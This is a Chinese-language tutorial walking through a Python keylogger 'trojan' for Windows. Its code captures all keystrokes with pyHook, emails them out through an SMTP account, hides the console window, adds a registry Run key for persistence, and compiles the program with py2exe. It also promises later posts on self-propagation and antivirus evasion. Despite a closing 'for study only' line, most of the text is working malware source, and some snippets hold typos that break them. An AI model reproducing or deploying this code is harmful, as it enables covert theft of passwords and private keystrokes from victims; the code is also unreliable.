最近接触了python的win32库,库子提供了不少可用于windows开发的API,这里就利用这个为原理制作一个键盘监听木马的雏形。
这里需要使用额外的模块pythonHook(放置钩子时),pythoncom
主要监听功能相关代码:
#放置键盘监听钩子 def seeing(): PH=pyHook.HookManager() PH.KeyDown=KeyboardEvent PH.HookKeyboard() pythoncom.PumpMessages() #键盘事件 def KeyboardEvent(event): #print event.Key, if len(a)<=20:#这里用于实验只但满20字符时发送邮件,可自行加大 a.append(event.Key) else: text=''.join(a) if send_mail(to,"键盘记录test1",text): print "Suceed!" else: print "Failed!" sys.exit(0) return True
这段是该程序核心功能的代码,用于监听所有键盘事件,并将其存于list_a 中。
接下来就是利用SMTP协议
发送键盘事件的记录结果:
相关代码如下:
#smtp发邮件 import sys import re import urllib import smtplib import random from email.mime.text import MIMEText #可根据协议或smtp服务器自行更改 to=['******@163.com'] host="smtp.163.com" #smtp服务器 user="****" #用户名 password="******" #密码 postfix="163.com" #后缀 #发送信件函数 def send_mail(to_list,sub,content): me="键盘记录"+"<"+user+"@"+postfix+">" msg = MIMEText(content,_subtype='plain',_charset='gb2312') msg['Subject'] = sub msg['From'] = me msg['To'] = ";".join(to_list) try: server = smtplib.SMTP() server.connect(host) server.login(user,password) server.sendmail(me, to_list, msg.as_string()) server.close() return True except Exception, e: print str(e) return False
核心功能部分雏形就完成了,现在对该监听程序进行修饰:
监听进行时,不该有console窗体,应该仅在后台进程进行。下面是关于如何启动时没有console窗体而在后台默默进行。
相关代码:
import ctypes #隐藏console窗体 def hiding(): whnd = ctypes.windll.kernel32.GetConsoleWindow() if whnd != 0: ctypes.windll.user32.ShowWindow(whnd, 0) ctypes.windll.kernel32.CloseHandle(whnd)
但仅仅以上是不够的,一个完整的木马程序还需要包括自我传播、自启动。
这里需要我们修改windos的注册表信息,winapi这个库中提供了方法:
1.首先需要获得执行程序自身所在位置。
相关代码:
#获得木马所在位置 def path(): import inspect,os caller_file=inspect.stack()[1][1] return os.path.abspath(os.path.dirname(caller_file))
2.修改注册表信息:
相关代码:
def autorun(): path_way=path() key = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, 'SOFTWARE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run',0, win32con.KEY_ALL_ACCESS) win32.RegCreateKey(key,pathon_way)#给注册表自启动项添加木马所在路径 win32.RegCloseKey(key) return
这样一个监听键盘事件的木马雏形就基本完成了,当然还包括如何自我传播(下一篇会详细提到)。
这里会注意到一个问题,大多数计算机没有安装python解释器,关于python如何在其他windows程序上执行,我使用了py2exe,distutils提供的方法,
新版本的distutuils在py2exe中。
首先创造一个setup.py
相关代码如下:
#setup.py from distutils.core import setup import py2exe setup(console=["hiding.py"])#此处为需要封装的python文件名
然后再console中执行:
python setup.py py2exe
然后就生成了py2exe,这样一个监听键盘信息的木马程序就完成了。
试着运行一下:
明文传输,但短时间在接受几百封邮件后服务器有可能会将邮箱冻结,所以接受键盘事件信息的方式可以改进,比如换一种更加适合的通讯协议。
在后续的文章中会提到如何加壳过各种杀毒软件。
ps:该文章仅用于学习研究,不要轻易越界!